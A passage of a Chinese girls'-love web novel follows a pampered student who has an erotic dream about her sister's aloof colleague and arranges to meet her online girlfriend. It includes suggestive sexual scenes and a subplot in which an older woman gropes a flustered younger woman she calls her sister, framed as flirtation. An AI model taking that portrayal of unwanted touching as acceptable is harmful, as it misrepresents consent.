时千岁捂着脸,愤愤道,“这群人真闲!”
时千金抬起眼,阴阳怪气地“啧”了一声。
“爸妈不让你跟她们玩是对的吧,这群纨绔整天不务正业,跟她们玩一点好学不着。”
“还有那个秦家女儿胆子也太大了,谁允许她公开你照片的?”虽然时千金知道这群人顶多也就只是在圈子里打趣,不会外传,但还是气不打一处来,她语气一冷,“看来明天有必要去秦家一趟,顺便提醒一下老两口好好管教一下这个无法无天的小女儿。”
“姐姐,”时千岁熄灭了手机屏幕,侧过头幽幽道,“还不是怪你,还有那个女人!”
时千金:“.....”
时千岁眼珠一转,显然在心里酝酿着什么事情。<
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p>时千金看这架势,悄悄起身,踮起脚尖准备开溜。
便听身后传来一句,软软的,充满了谄媚的声音。
“亲爱的姐姐。”
时千金耳根一软,脚步像是扎根在了原地,动也不能动。
时千岁伸手,“姐姐,爆点金币吧。”
“今这事,没五百万我就不原谅你。”
时千金松了口气,原来是要钱,还以为憋着什么坏呢。
等等。
她回头,不可思议道,“你没钱了?”
时千岁理直气壮地点点头,“对!”
“不是,祖宗,一个学期不到两百万就那么没了?”时千金诧异,“你也没买车也没买房啊,怎么花的?”她突然想到时千岁到家后种种异常举动,越发笃定心里的猜测。
她重新坐回时千岁身边,满脸严肃,问,“你是不是处对象了?”
“谁、谁处对象了..”时千岁心虚地把脸扭过去,眼神四处乱飘。
“时千岁,你跟我说实话!”她妹妹这么单纯,别被人骗了,时千金无不担忧地想。
“秘...秘密,”时千岁端起眼前的水果,起身往卧室逃,“姐,我有点头晕,我先上去了。”
“那个,饭等下让刘婶给我端上去。”
“对了,记得钱。”
“你跟我都有秘密了?”时千金指着她背影,“爸妈就快回来了,我看你还能作到什么时候!”
...
时千岁喝了几口粥,又躺回到了床上。
因为药物反应,她又有点犯困。
意识模糊之际,她突然想起女朋友。
强忍着睡意,打字。
【晚安,不要喝醉哦,记得梦到我。】
时千岁突然记起那张照片,她手指向上滑动翻找聊天记录。
找到那张美人出浴图,又放大看了好几遍,把细节刻进了脑子里。
再长按保存。
这才心满意足地合上了眼睛,沉沉睡去。
不知多久,时千岁做了一个梦。
准确来讲,是一个春梦。
黏腻而又真实的春梦。
浴池灯光氤氲,雾气缭缭。
连空气都是湿漉漉的。
彼此相拥的两个人,唇舌相抵,动情地激吻着,难以抑制的低吟从口舌之中倾泻而出。
“要是站不住就抓紧我。”
说完,便把她抵在了半身镜前。
滚烫的唇落在耳后。
又顺势绵延而下。
每到一处便激起一阵来自灵魂的颤栗。
她腿根發軟。
使不上一点力气,任由身体软绵绵地向下滑。
身后一条手臂紧紧地禁锢住她。
耳畔传来沾染着情欲的冷感嗓音。
“这就不行了?我们才刚刚开始。”
她輕喘著,話語中帶了一絲哽咽。
“老師...”
“嗯?”
一只手擒住了她的下巴,逼迫她看向镜子。
“现在求饶,晚了。”
镜子上氤氲着一层白雾,时千岁只能朦胧地看到紧紧纠缠的两个人影。
好奇心战胜羞意。
她睁大眼努力地向里张望。
想看看自己现在的表情究竟有多□□。
更想看看那在背后掌控她的人的容貌。
拨开重重迷雾。
画面逐渐清晰。
一张冷感十足的脸浮现在了镜子里。
怎么会是下午那个冰坨子!
时千岁惊呼一声,从梦中乍醒。
清晨的阳光从窗帘缝隙中透进来,洒落在卧室的床上,时千岁无神地盯着天花板,胸口剧烈地起伏着,显然还没有从刚才的“噩梦”中回过神。
从楼下传上来的门铃声。
无休无止。
逐渐在她脑海中放大、盘旋。
时千岁恍恍惚惚下床,光着脚就往楼下大门走。
“叮咚。”急促的门铃声再度响起。
时千岁终于走到门前,站定,缓缓抬起手,打开了门。
一个气质冷冽的漂亮女人出现在门后。
很熟悉。
熟悉到刚刚还在梦里你侬我侬共赴一番云雨。
时千岁:“!!!!!”
4. 第 4 章
画面历历在目。
时千岁下意识大喊一声,“冰坨子!”
上前一步,径直甩上了门。
她惊魂甫定地拍打着脸,驱散脸上那股升腾而出的热意。
嘴里还振振有辞。
“假的。”
“一定是梦中梦!”
时千岁深吸一口气,闭上眼,企图打碎这自以为虚假的梦境。
五秒钟后,再度睁开。
屏气,开门。
四目相对,空气似乎都安静了。
时千岁底气不足似的率先移开目光,不经意间又看到眼前人垂在身侧的手。
那修长白皙的手,和梦中的别无二致。
上一分钟还在尽情地操控着自己。
想到这,时千岁耳尖蓦地发烫,刚刚消散的热意再次席卷全身。
再这样下去,恐怕要丢人了。
时千岁忽地抬起眸子,咄咄逼人,“你来我家干什么?来给我道歉?我不接受,你走吧。”说完极快地带上了门,根本不给对面回答的机会。
时千岁后背紧紧地抵着大门,大口呼吸,平复着这一大早如同过山车一般的情绪。
时千金从书房出来了,正好看见她这一副紧张兮兮的模样,深深地打量她一眼,“大早晨的见鬼了?”
时千岁心道,何止啊,比鬼都可怕。
“对了,你听没听到门铃响?”时千金绕到厨房,倒了一杯凉白开端到她手边,见她发愣,把杯子塞进她手心,“发什么呆呢你,看你那黑眼圈,跟被吸干阳气似的,干什么了?做春梦了?”
时千岁猛地回神,头摇得如同拨浪鼓,“没、没有!”
“没什么事,我先上回卧室了,”时千岁觉得现在有必要去洗个澡冲冲身上这久散不去的燥热,以及异常的黏腻感。
刚一抬脚。
门铃声便再度响起。
她暗道一声,“糟糕。”
再想跑时,时千金已经越过了她把门打开了。
时千岁背对着两人,竖起耳朵,慢慢移动脚步。
“来了?”
“嗯。”
好没营养的对话,时千岁正吐槽着,忽然听到时千金唤了她一声。
“千岁。”
时千岁:“???”
没事叫她干什么..
她不情不愿转过头,幽怨道,“干吗?”
时千金向她招了招手,“过来跟客人打个招呼。”
这个时千金,不知道她和那人不合吗?时千岁咬着后槽牙,内心挣扎了几秒,自身的教养占据了上风。
她闷闷道,“你好。”
时千金轻轻拍她一下,“叫言浠姐。”
时千岁瞪了眼前女人一眼,别扭道,“言浠...姐。” 最后一个字轻飘飘的,几不可闻。
言浠微微点头,脸上没有任何表情。
这种姿态落在时千岁眼里就显得很高傲。
得意个什么?哼,时千岁落在身侧的手紧紧地握成拳,凶巴巴地瞪她,那眼神都快淬出火来了。
言浠上前一步,用只能两个人听见的声音说,“冰坨子是你给我起的外号?”
突然拉近的距离,让时千岁的脑海里瞬间蹦出了那个离谱的梦,甚至就连语调中那自然而然流露出的压迫感都如出一辙。
她的气焰顷刻间消失得无影无踪。
尴尬地僵在了原地。
死嘴,快说点什么!
时千岁在心里恨铁不成钢地扇了自己一下。
言浠拧眉注视着她耳尖徒然升起一抹红,片刻,微微起身,回到原位,解释来由。
“我来找你姐。”
时千岁怔愣一瞬:“???”
言浠继续:“跟你没关系。”
意思很明显,不是道歉来的。
时千岁根本没反应过来她的话外音,忽地抬起发亮的眼睛,视线在她姐和言浠中间来回穿梭。
打量了一会儿,“噢”了一声,笃定道,“我就知道你俩有一腿。”
言浠显眼被眼前这小家伙的脑回路惊到了,波澜不惊的眼底涌现出略微复杂的情绪。
时千金冲她屁股就是一巴掌,轰她上楼,“边玩去。”
“我们要忙工作了。”
“切,”时千岁巴不得赶紧开溜,她摆摆手,头也不回地往楼上走。
回到卧室,她从衣柜里挑了件崭新的睡裙,便一头钻进浴室。
热水簌簌流下。
时千岁褪下睡衣,手摸到内裤时,突然感受到了一丝异常。
她不确定似的继续探了探,直到指尖带出一条晶莹细线。
她脸一红,极快的扒下弄脏的内裤,扔进了水池里。
眼一闭,站到了花洒下。
热水打湿了长发,滑过她柔美的脸庞,落到胸前,顺着高峰绵延而下流淌过雪白的小腿在脚边汇聚成一个小水洼。
时千岁心情久久不能平复。
除了纠结那个春梦和因此产生的生理反应。
还因此想到了更深的一个层面。
她这算不算对她女朋友不忠?算不算精神意义上的...出轨?
时千岁的心情有生以来第一次这么沉重。
....
这边,书房里。
言浠有条不紊的汇报完工作,端起身侧的水杯抿了一口水润了润喉咙。
时千金一言不发地翻动着文件,表情严谨。
良久,抬起头,神情缓和不少。
“报告很详细,辛苦了。”
言浠只是礼貌地点点头。
“过两天总部公告出来后,北城那边公司就由你负责,恭喜啊,升职了。”
“还有,薪资方面...”
原本沉默的言浠突然开口。
“时总。”
“我不接受涨薪。”
时千金跟言浠算不上熟稔,她近两年才彻底接手来运集团,对各地区的员工不可能了解得面面俱到,关于言浠的这个人的风评和事迹大多数是她从父母口中得知的。
性子冷,不喜交际,生活重心几乎全部放在工作上。
做事沉稳、一丝不苟,凡是她经手的事情,从来没出现过纰漏。
硕士毕业后进入来运集团实习,主动提出任职期间只接受基础薪资,起初时千金父母以为这只是句玩笑话,没承想这一句话她一坚持就是五六年。
时千金垂眸沉思片刻,还是决定劝劝她,“没必要,爸妈决定培养你,不是想让你通过这种方式馈还的,你从进入公司开始,到现在的位置,都是靠你自己一步步努力得来的,涨薪是应得的。”
言浠拒绝得很果断,像是早就经过了深思熟虑,“时总,这是我的决定。”
“好吧,”时千金觉得多说无益,对面是个很有原则的人。“那,这次来临海多呆几天?爸妈快回来了。”
时千金父母也算看着她长大的,而言浠来时家拜访还是有史以来第一次。
还是因为工作原因。
时千金深深注视着她,补了句,“爸妈很想见你。”
言浠起身颔首,“这次还有别的事情要办,下次再专门来拜访。”
字里行间都是客套。
时千金觉得言浠这人说难听点叫不近人情,像是个没有丝毫感情的机器人。
这种人,难以交心。
时千金抬了抬鼻梁上的眼镜,恢复了工作中的气场和距离感,起身开门,“那今天就先聊到这里吧,时间不早了,后续工作有什么问题,及时沟通。”
是送客的意思。
言浠理解了微微颔首,跟着离开书房。
...
两人来
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到客厅,正好撞上了在沙发角落偷吃辣条的时千岁。
时千岁心虚地笑了声,抓着辣条的双手背到了身后,目光瞥到她姐身后的言浠,惊道,“你怎么还没走呢?”
大意了,这个大春,谎报军情!
时千岁把辣条往茶几抽屉里一放,用她自己最快的速度一点一点挪到沙发最内头,跟她保持距离。
惹不起,她还躲不起?
一个梦而已,顶多就是昨天的记忆太深刻了,绝对算不上什么,也算不上出轨!
时千金哪壶不开提哪壶,“洗个澡怎么还把衣服换了?”
时千岁:“.....”
死去的记忆卷土重来。
“脸怎么这么红?”
时千岁狠狠瞪一眼言浠,咬牙道,“发烧!”
时千金上前用手心探了探她额头,“还真有点。”
“等下让医生过来再打一针。”
打针?时千岁顾不得外人在场,急道,“我不要!”
“打针和吃药你自己选一个。”
时千金又警告她,“你别给我作,爸妈过两天就回来了,你要是不想一个暑假出不去门,就趁她们回来前老老实实把病养好。”
时千岁想象了下那个悲惨的画面,最终决定听取姐姐的意见。
她举手,“我选吃药。”眼一闭一睁,一口气的事,怎么也比皮肉真实的疼痛感来得好。
时千金去厨房给她热药。
时千岁看着客厅中伫立不动的人,纳闷道,“你怎么不走啊你。”
“不许这么没礼貌。”
时千岁看了眼厨房忙碌的人,小声嘀咕,“耳朵还真尖。”
厨房里又道,“言浠,你随意。”
这本也是句客套话,但这次言浠像是没听懂似的,绕过了沙发,径直坐到了时千岁的正对面。
时千岁:“???”
四目相对间,静默无言。
时千岁从那双漆黑的眼睛里看出了些许玩味。
懂了。
来看热闹来的。
时千金从厨房端药出来,把袋子剪了个小口,递给时千岁,“喝吧,趁热。”
浓郁的药材味侵入鼻端,勾起了记忆深处的苦涩,胃生理性的一阵抽搐,她偏过头,控制不住地干呕。
时千金满眼心疼地坐到她身侧,轻轻拍打后背,语气温柔、宠溺,跟工作中雷厉风行的时总简直判若两人。
“乖,喝完姐带你去吃麻辣小龙虾。”
时千岁眼眶发红,声音沙哑,“你哄小孩呢?”
时千金打趣,“你不就是小孩?”
时千岁突然想起对面还坐着个大活人呢,急忙挥手打断,“姐!”留点面子!
她目光一转,瞪着言浠。
十分硬气地“哼”了一声。
言浠:“.....”
像只被欺负急了想咬人的小白兔,怪挺有趣的。
她好笑地想。
然而,言浠嘴角徒然升起的那一抹意味不明的弧度,落在时千岁眼里,显然更像是嘲讽。
时千岁气急了。
心道,梦里被欺负也就算了,怎么梦外还能一而再落于下风?
她不要面子的吗?
时千岁挺直了脊背,抢过时千金手中的药,深吸一口气仰头一灌。
霎时间,浓烈的苦味在口腔里炸开,时千岁被这味道刺激的接连呛咳,她拼命压制着,生理性的眼泪还是不争气地夺眶而出。
视线朦胧中,她看到言浠起身向她走来。
时千岁本能的偏过了头,不想让她看到自己这副狼狈的样子。
下一秒。
微凉的手轻轻擒住了她的下巴,指尖灵巧的抿开了她的唇瓣。
一颗糖果被强行送入了口中。
是葡萄味的。
5. 第 5 章
感受到唇瓣上的微凉柔软的触感,时千岁一僵,浑身血液仿佛都要凝滞住了。
甚至都忘了躲开她的触碰。
唇瓣被轻柔地抿开。
舌尖抵上了一个散发着丝丝甜意的圆形物体。
她试探性地舔了舔,葡萄香甜霎时间席卷了她整个味蕾,有条不紊地中和着那令人作呕的苦涩。
言浠看她脸色微缓,不动声色地收回了手,一个转身,坐回到了沙发上。
时千岁弯着腰又平复了几秒,余光瞥了眼对面女人,彻底熄了火,缩到了沙发的角落。
她想。
这女人昨天下午还差点给她送进警察局。
晚上又无端端地闯进梦中“欺负”她。
害她内心煎熬,良心谴责,还要接受自己内心对女朋友是否忠诚的道德批判。
但刚刚那个行为,她不管是出于礼貌,还是真心实意,都应该道一声“谢谢”。
可这句“谢谢”说出口,又是不是代表着跟这女人的恩怨一笔勾销?
进退两难。
时千岁决定缩起来当只鹌鹑。
客厅突然陷入了令人尴尬的沉默。
时千金不知道时千岁脑中的百转千回,只知道一向吃完药大闹特闹的妹妹出奇地安静了,甚至有点乖巧。
她在心里给言浠比了个大拇指。
“那什么,”时千金素来不习惯冷场,她捅了下时千岁,提议道,“你言浠姐在北城公司上班,跟你大学一个地方,要不你俩加个微信?”她其实是有点私心的,她这个妹妹被宠坏了,有的时候太肆无忌惮,要是言浠能稍微帮忙盯一下,说不定还真能收敛一点,而且就刚刚这个事情,她觉得自己对于言浠这个人“没有感情”的判断好像有点太武断了,起码这人对她妹妹就不一般。
时千岁身体行动快于脑子。
反应过来时,二维码已经递出去了,再想收回有点下不来台。
时千岁极其幽怨地瞪了一眼她姐。
心道,可真能添乱。
又装作无所谓地把手机往前递了递。
言浠抬眼,看清了屏幕上的头像,一向平静的瞳孔里荡开了层层波澜。
“喂。”
时千岁不耐烦。
言浠恍惚,目光紧紧描绘着她,从头到脚。
像是难以置信,亦或者夹杂着什么其他难以言说的情绪。
时千岁有些分辨不明。
所以还加不加了?
言浠忽而垂眸,掩去了所有情绪,掌心收紧,把手机揣回了兜里。
很明显,时千岁读懂了她行为上的拒绝。
她“呵”了一声,指尖一转收回了手机,径直转身,往二楼走。
差点被区区一颗糖收买。
活该。
热脸贴了冷屁股吧。
时千岁懊恼。
卧室门一甩,隔绝了楼下一切恼人的声音,她坐到床上冷静了片刻,打开手机疯狂吐槽。
【老师!】
【不开心,需要你温柔的关怀,快来哄哄我。】
时千岁发送完消息,便把手机放到了床头柜充电。
起身拉开窗帘,窗外碧空如洗,温和的阳光穿过大飘窗撞入卧室,暖洋洋的,倒是个码字的好天气。
时千岁除了是电影学院戏剧与影视专业的一名学生之外还有另一身份,口口文学城的新人作者。
目前的签约作品《跟姐处,姐有点小钱》正在连载中。
这本书一经上架便包揽了各大榜单,直冲金榜第一,成了名副其实的黑马。
风格搞笑、剧情抓马、人设张力十足,唯一不好的点就是更新频率问题了。
断更是常态。
这不,距离上次更新已经过去一星期了。
时千岁都能想象得到微博和评论区多少读者花式催更了。
她长叹一口气,无比头疼。
时千岁决定写文的起因,仅仅是源于她在评论区发表意见时遭遇该作者粉丝冲击,对方说了一句话,“笔给你,你来。”
时千岁上头,冲动之下开了这本文。
虽然顺利签约,成绩也不错,但她总是觉得被更新频率限制了自由,弃坑吧,是绝对不可能的,要对读者负责,更要对笔下的人物负责,一定要给自己创造的人物一个圆满的结局,绝不敷衍,这是她的态度和执念。
时千岁慢慢悠悠拿了瓶酸奶坐到了榻榻米上,支开了笔记本电脑。
趁着开机间隙,时千岁把头转向窗外。
就看见,言浠正好走出别墅大门。
时千岁:“.....”
怎么又看见她了,真是阴魂不散。
言浠突然停下了脚步,从包里掏出手机,低头查看。
细白指尖在屏幕上删删打打,落在斑驳树影中的侧脸,神色晦暗不明。
也不知道在给谁发消息,这么犹豫,时千岁心道。
目光不自觉地注视着她的一举一动。
这时,言浠暗灭了屏幕,竟转过头往二楼看了过来,一瞬间,四目相对。
时千岁一惊,飞快地收回了视线,身子往后一靠,紧张的姿态像极了被抓包正着的小偷。
眼尾余光看言浠开车离去,她这才松了一口气。
后知后觉,时千岁懊恼地拍了一下茶几。
怎么一见这女人就露怯呢?
真怂!
...
时千岁在心里把自己痛骂了十分钟,这才调整好了心态。
她先打开了微博页面,准备安慰一下等待已久的读者朋友们。
刚一上线,就“嘀嘀嘀”个不停。
评论和私信消息提醒999+。
她没有查看消息的习惯,随手就点击了清除。
时千岁账号id,起得很骚气,“发大水啦,”这号建立四五年了,积攒了大几十万活跃粉丝,有一定的知名度。
以前专门用来分享好书或吐槽、排雷文章的。转为作者号后,涉及立场问题,现在就只推自己的文章,偶尔分享下生活。
关于粉丝积累到这个数值,还有一个最主要的原因。
她是口口文学城赫赫有名的小富婆。
只要是她喜欢的文章,必定一掷千金,疯狂砸雷,长期霸榜贡献榜榜首。
像她断更这么久的作者,一般的早就被骂得体无完肤乱了。
什么希望作者穿书。
写不来就趁早解v啊。
更有难听点断更亖全家。
但时千岁这,岁月静好,不但没人吐槽,还都得哄着。
因为粉丝们都了解时千岁的习惯。
——真金白银的补偿。
时千岁充了个五万。
开了个粉丝抽奖。
随手拍了张外景配图,窗台上跳跃的阳光,飘动入镜的淡蓝色薄纱窗帘,院子里开得正盛的栀
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子花以及那高墙外湛蓝如水的天空。
配字:【在写了...不会让我的宝贝们失望的,(害羞.jpg)。”
发完,时千岁打开了码字软件。
仔细捋了下大纲,着手往下写。
一分钟过去了。
文档上空空如也。
时千岁揉揉脖子,伸了个懒腰,继续盯向电脑屏幕。
没一会儿,眼睛有点干涩,她偏头望向窗外,眺望着院子里那棵枝叶繁茂的树,注意力没一会儿就被新搬来筑巢的鸟儿吸引。
二十分钟后。
文档上只码了两个字。
就是...主角的名字。
时千岁垂眸,屈起指节轻轻地敲了敲额头,心中感叹。
写文可真难。
这么枯燥的工作,到底是哪个大神能扛得住诱惑,耐得住寂寞?
反正她时千岁不能。
她给自己找了个理由,生病状态不好,随后心安理得地合上了电脑。
时千岁把自己往柔软的大床上一抛,舒服地滚了一圈,伸手摸到床头柜上的手机。
滑开屏幕,点开跟女朋友的聊天框,查看消息。
没有任何回复。
怎么回事?
时千岁不禁纳闷。
她敲击屏幕。
【老师?】
又等了半个点,时千岁坐不住了。
两人毕竟是网恋,隔着屏幕,不能肌肤相触,也不能在对方需要的时候陪伴身侧,万一激情褪去心生厌烦,万一现实中遇到很优秀的追求者...又或是万一哪天酒精作祟与漂亮妹妹一夜春风...
时千岁虽然相信女朋友的人品,但还是忍不住地胡思乱想。
她内心被不安占据。
【老师不理我,是对我感到厌烦了吗?】
【昨天还宝宝长宝宝短,今天就如此冷淡。】
【狗也是会伤心的!】
【还是...】
【说吧,她是谁?哪里人多大了怎么认识的?】
【我这个身高170体重95,幽默风趣热情黏人,不冷暴力嘴甜会哄人的乖巧漂亮又多金的大小姐到底输在了哪里?】
对面终于回复了,秒回。
简洁明了且震惊。
【?????】
啧,女朋友怎么不懂她的抽象呢?
时千岁翻身下床,又坐回到榻榻米上晒太阳,她拿起酸奶抿着,单手打字,一不小心触碰到了视频通话。
“嘀”的一声,她刚想挂掉,屏幕中便闯入了一个画面。
一只手慌乱地伸了出来。
画面瞬间消失。
前后不过两秒钟。
但时千岁还是成功捕捉到了关键信息。
如果她没看错的话,刚刚闪过的应该是临海市的标志性建筑。
时千岁激动地坐直了身子,双手紧握手机,眼睛一眨不眨地盯着屏幕。
【老师!】
【你是在临海出差???】
聊天框上方显示正在输入又删除,来回几次,终于发送过来了一个字。
【是。】
时千岁抽出张纸巾擦了擦手心里的汗,紧张地想。
在一个城市,那是不是代表着可以奔现了?
这是叫奔现吧?
时千岁喜上眉梢,身子一歪,扭成了麻花。
【老师!我们见面吧!!!】
6. 第 6 章
对面久未回复。
时千岁趿上拖鞋,焦急地在房间踱步。
转了三圈,等不住了,时千岁追问。
【好不好嘛?】
【给个姬会?】
对面抛过来三个字。
【你确定?】
当然,见面是感情升温最快方式,而且,脑子里有了画面不至于做春梦梦到其他不相干人士。
时千岁毫不犹豫。
【确定!】
【行。】
“耶!”时千岁开心地转了个圈,抓着手机小跑下楼。
“姐姐姐姐姐!”
时千金跟电话那头的人礼貌地说了声“有时间去拜访”便挂了电话,转头看向时千岁,诧道,“怎么了,这么开心?刚不还一副苦大仇深的模样吗?”
“还不是要去约...”会..看见时千金骤然皱起的眉头,时千岁舌头转了个弯,及时地刹住了车。
糟糕,一个不小心差点秃噜瓢。
时千岁强行压住嘴角,稳住脚步,十分乖巧地坐到了时千金身旁,“没什么,”她话锋一转,转移话题,“谁的电话啊?”
“秦梦乐他爹,道歉来的,”时千金手背贴到了她额头上,试温度,“退烧了?”
时千岁点点头。
“对了,刚才你说约什么?”
时千岁刚喝了口水,差点被呛出来,“我是说..”她灵机一动,“约小姐妹shopping。”
“哦,”时千金从桌子上抽出纸巾递给她,“不是约小黄毛就行。”
时千岁微笑,“我是那么没品的人吗?”
说着,她凑近时千金,语气软得不能再软,“亲爱的姐姐,我真的要去购物。”她比了个数钱的手势。
听到妹妹撒娇,时千金心都要化了,她从兜里掏出张卡递了过去,“钱早就给你准备好了,不够了再跟我说。”
“还有啊,我叫助理定了香辣蟹和小龙虾,等会送过来。”
“谢谢姐姐,爱你,”时千岁凑到她脸颊,准备亲一口,被时千金抬手挡住。
“别来这套,你能不作妖我就谢天谢地了。”
“怎么说话呢?”时千岁细白的手指灵巧地把玩着银行卡,“天天损我,亏我还给你带礼物了。”
时千金内心期待。
时千岁悠悠起身,往卧室走,“还有爸妈的,大春也有。”
几分钟后,她抱着两个包装精美的盒子下楼,其中一个递给了时千金,“我记得你不是提过一嘴开会时间太长腰不舒服吗?我给你准备了一个护腰和按摩仪。”
别看她这个妹妹平时骄纵惯了,但真的是个很细腻暖心的人,会在每个节日给家人准备礼物,也会记得家人说过的每件小事,时千金被她的举动感动到了。
“还有啊,里边还有盒肌肉贴,缓解腱鞘炎的,”时千岁吐槽,“姐,叫你不注意节制。”
“现在好了,找不到女人了吧。”
时千金心一梗,身侧的手紧握成拳,指节发出清脆声响。
“我可真谢谢你啊!”
时千岁笑,“不客气。”
“对了,大春呢?”时千岁纳闷,好像从回来就没见她。
时千金还没从那句“找不到女人”中缓和过来,她黑着脸,向身后一指,“房间里躲着呢。”
“躲谁?”
门铃声响起,时千金起身开门。
是送餐的助理。
时千金从助理手中接过定好的餐食,放到餐桌上,路过时千岁身边,把她往餐桌方向一推,手一勾,顺走了她怀中的礼物,转身大步流星往大春房间走。
“我去叫她。”
时千岁:“???”
怎么还抢活?
她总觉得哪里有些奇怪,但又说不上来。
...
大春的房间在别墅一层的最里边,两人卧室紧挨着。
时千金站在门前,垂眸望向手中礼盒,眸光幽深,像是在思考些什么,片刻,抬了抬鼻梁上的眼镜,嘴角牵起一抹意味深长的笑。
“叩叩叩。”
里边传来桌椅碰撞声。
大春警觉的声音随后出现。
“谁?”
时千金清了清嗓:“我。”
门内突然没了声音。
等了几秒,里边的人仍没有任何举动,时千金开口说明来意,“千岁给准备了礼物。”
大春低沉的声音出现了一丝裂痕,“放..放门口。”
这么紧张?时千金好笑地想。
她忽而神色一凛,一字一顿道,“开门!”语气强势,带着满满的威压,“我数到三。”
“一”字尾音还在空中飘着。
门内便响起一阵慌乱的脚步声。
“咯吱。”
门开了。
里边的大高个看她一眼,局促地移开视线,闪进了门内。
时千金跟在她身后进来,顺手关上了门。
听到关门声,大春肩膀抖了抖,整个人都僵住了。
时千金绕到她眼前,抬头望着她,没什么表情,声音却冷了许多“这么怕我?”
大春薄唇翕动,半天没吐出一个字。
时千金更进一步,浑身散发着凌厉的气势,“你躲我?”
距离的贴近,独属于时千金身上的味道顷刻间席卷了鼻端,像夏日奔放盛开的鲜花一般浓烈,迷人又危险,无意识的勾弄着她的心跳,大春窘促地别开了头。
“没..没有,千金姐。”
时千金静静看她两秒,“嗯”了一声,选择了不戳破。
“千岁送你的礼物,不打开看看?”
“好,”大春动作缓慢地接过礼物,拆开包装。
盒子打开,大春隽秀的眉眼慢慢染上喜色,“Grant的拳套?”
拳套中的劳斯莱斯。
“太贵重了...”
“这是千岁的心意,收着吧,”大春这孩子从小就比别人稳重、内敛,难得看见她对什么事情表现出如此强烈的兴趣,时千金问,“比赛准备得怎么样了?”
十月份的全国格斗锦标赛,也是大春即将迈入职业生涯的第一场正式比赛。
大春诧异,“你怎么知道?”
“姐姐关心妹妹不是很正常?”时千金笑。
大春始终低着头不敢看时千金,“教练建议我减重,打羽量级的把握会更大一点。”
“行,有时间我会去现场给你加油的,”时千金打量着大春身上常年如一日的一身黑,很衬身材,但实在不符合这个年龄段该有的色彩,太过于沉闷了,于是提议,“和千岁一起买几身衣服去吧,姐姐买单。”
“不,不用,”大春拒绝得很果断,“我有钱。”
“我现在在拳击馆兼职。”
真是长大了,也懂事了,时千金柔和的目光一遍又一遍地描绘着大春劲挺有型的身材,最后停留在她五官深邃,英气十足的脸上。
熟了,就可以吃了。
所以到底是什么时候对这个小自己十一岁的妹妹有了不一样的感情呢?
时千金记忆回溯到一年前。
对家公司竞标失败,资金链断链导致破产,从众人追捧一朝跌落成了丧家之犬该公司控股人难以接受这等落差,心生极端,展开报复行为。
失控的轿车直挺挺地冲向她,带着刺耳的风声和死亡的气息。
强烈的恐惧感涌上心头,时千金身体根本做不出任何反应,由着那汽车逐渐在眼底放大。
千钧一发之际,大春从背后环住了她,侧身一倒,车头紧擦着两人身体飞过。
大春把她紧紧护住,用肉身抵挡地面的冲击。
愣是让她连一根头发都没掉。
在那个温暖结实的怀抱里,她心跳如雷。
“千金姐?
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”
时千金收回思绪,看了眼眼前站得笔直的人,勾起唇,“行,缺钱跟我说,走吧,别让千岁等太久。”
大春不自觉松了口气,将拳套细心放好,转身往出走。
腰上突然环上了一双手。
时千金的声音随之出现,“等下,忘了件事。”
“给姐姐摸摸腹肌。”
说着便把手伸进了衣服,沿着清晰的线条细细摩挲。
感受到时千金的动作,大春浑身一僵,微弱的电流感从指尖碰触的那处徐徐蔓延,她脸颊滚烫,猛地退后一大步,摆脱了那只作乱的手。
她目光颤动,语气慌乱,“我..先出去了。”逃似的往外走。
时千金回味似的捻了捻指腹,追上去,掌心贴上了大春挺翘的臀。
拍了拍。
大春这次连脖子都红了,夺门而逃。
时千金目光幽幽,不紧不慢地跟在身后,笑得像狐狸。
...
时千岁坐在餐桌旁认真地扣手机,嘴角的笑一直没落下来,她刚刚和女朋友确定了见面的时间和地点。
明天晚上八点,“冬藏”酒吧。
还有时间精心准备。
时千岁在心里计划了一番,起身准备出门。
刚一转身,就撞上了从卧室出来的大春和时千金。
怎么看上去慌里慌张的呢?时千岁狐疑。
“你俩干什么了?”
时千金放慢脚步,把视线从大春身上移开,神色如常,“我们能干什么,倒是你,”她看向桌子上包装完好的餐食,“心心念念的香辣蟹怎么不吃了?”
时千岁往门口走,“没时间了。”
时千金皱起眉头,朝大春招手。
大春犹犹豫豫上前。
时千金:“.....”至于怕成这样?
她交代,“给你任务,看好千岁,有什么情况及时给我打电话。”
收到命令,大春严肃起来,“嗯”了一声,跟了出去。
时千金望着大春利落离去的背影,心道,正是情窦乱开的年纪,怎么这根木头就不会开花呢?
...
两人离开家,直奔市中心最大商场,SPA国际时代。
正是休息日,再加上临近饭点,商城里人群熙熙攘攘,热闹非常。
时千岁越过人群,往电梯方向张望。
一眼就在那条排起的长龙里发现了一张熟悉的脸。
冷艳逼人,惹人注目。
这不是那位冰坨子“姐”吗?
冤家。
前脚从自家离开后脚又偶遇上了,小说都不敢这么写。
时千岁把目光从那张过于漂亮的脸上撕下来,又看向与她同行的人。
呦,约会啊。
她暗戳戳地视线来回在两人身上打量。
该说不说,冰坨子姐无论是身材还是长相确实没得挑,天菜级别,旁边那位男士...也是个男的。
大腹便便。
糟心的三角眼。
..略猥琐。
时千岁吐槽。
可真没品。
她犹豫片刻,决定走扶梯,避开这位每次遇到都让她节节败退的冰坨子姐。
转身的一瞬间,眼尾余光准确无误地抓住了那男人的小动作。
只见那人趁言浠不注意,掏出了手机,从她背后做了个抓拍的动作。
那双猥琐的眼睛还色眯眯地打量着。
时千岁猛地停下脚步。
冷言问向身后大春。
“作为社会好青年,最重要的品质是什么?”
大春:“???”
时千岁自问自答。
“正义!”
大春:“.....”
好一个正义,她怎么就不信呢...
“走!”时千岁招招手,小腿一迈,朝言浠走去。
7. 第 7 章
时千岁费力地挤过人群,还是晚了一步。
她看着缓缓上行的电梯,分析着两人的目的地。
这个点,约会的话,也就只能相约午餐了,总不能和自己一样来逛衣服吧,时千岁可不觉得那位冰坨子姐有这等闲情逸致。
她乘下一部电梯,直奔顶层。
SPA时尚国际一整个顶层全是餐馆,时千岁一家一家扒着窗户寻找,终于在一家环境雅致的私房菜馆内再次看到言浠身影。
还挺会选,这家味道在临海算得上数一数二了,时千岁和她姐来过一次,印象不错。
时千岁隔着厚厚的玻璃观察了几秒。
两人相对而坐,那男人此刻收起了猥琐目光,言谈举止看上去也礼貌得体。
呵,真虚假。
是时候轮到她这个英雄出场撕碎这人虚伪的假面了。
时千岁交代了大春一件事,随后独自推门而入,径直走到两人身边,站定,抬手打了个招呼,“你好,”然后大剌剌往言浠身边一坐。
在场两人均是一愣,终止了谈话。
时千岁托着腮,侧目望着言浠,悠悠道,“约会呢?没打扰吧?”
不知是不是错觉,言浠总觉得这语气带了一丝不同的味道,她微微皱起眉,疑惑地看着这个莫名其妙蹦出来的小家伙。
